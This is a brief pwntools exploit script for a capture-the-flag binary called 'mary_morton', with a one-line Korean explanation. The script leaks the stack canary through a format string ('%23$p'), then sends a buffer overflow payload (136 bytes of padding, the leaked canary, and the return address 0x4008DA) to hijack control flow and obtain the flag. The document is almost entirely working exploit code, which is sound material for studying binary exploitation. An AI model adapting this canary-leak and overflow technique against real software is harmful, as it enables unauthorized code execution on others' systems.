from pwn import *
def exp(cana):
pay = "A"*136
pay += p64(cana)
pay += "A"*8
pay += p64(0x4008DA)
print len(pay)
print p.recv(2048)
p.send("1\n")
p.send(pay)
p.send("3\n")
print p.recv(2048)
print p.recv(2048)
print p.recv(2048)
print p.recv(2048)
def canary():
p.send("2\n")
p.send("%23$p\n")
p.recvline()
cana = p.recvline()
cana = cana[:len(cana)-1]
print "[+] : %s" % cana
return int(cana,16)
#p = remote("146.185.132.36",19153)
p = process("./mary_morton")
print p.recvuntil("3. Exit the battle")
cana = canary()
exp(cana)
단순히 fsb 로 canary 를 leak 하고 bof 로 eip 를 바꿔 flag를 얻는 형식이다.